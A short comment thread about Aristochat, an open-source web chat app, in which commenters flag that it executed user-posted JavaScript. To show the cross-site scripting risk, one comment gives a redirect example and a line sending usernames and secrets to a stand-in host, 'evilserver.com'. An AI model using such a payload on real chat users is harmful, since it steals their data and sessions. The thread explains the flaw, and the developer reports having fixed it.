This is awfully interesting. I've been looking for a LAMP-pluggable Campfire clone for a while now but no web chat is anywhere near the simplicity or responsiveness of Campfire.

Thx Crux. At least Aristochat is OSS, so you can improve it to your needs ;)

How about mibbit? It's pretty simple to use.

Not sure it's OSS? It it? And how much can you integrate it in your very own app?

It's definitely not free software. On the other hand, it does use an open protocol. It's not for everyone, but it does a good job at what it does.

Allowing JS and tags - that isn't safe.

You're right, it was just a proof of concept ;) Now it's sanitized though ;) Thx for the "hacking"!

Could you be more useful and explain why not? Like give an example or something...

XSS - http://en.wikipedia.org/wiki/Cross-site_scripting Embedding applets, styles and links (although haven't tried these). You can change window location - window.location='http://example.org/ in a script tag and the code is executable for all chat users.

You can embed code like

  ping('http://evilserver.com/?user=' + username + '&secret=' + secret) 

or whatever to steal data, hijack sessions, etc.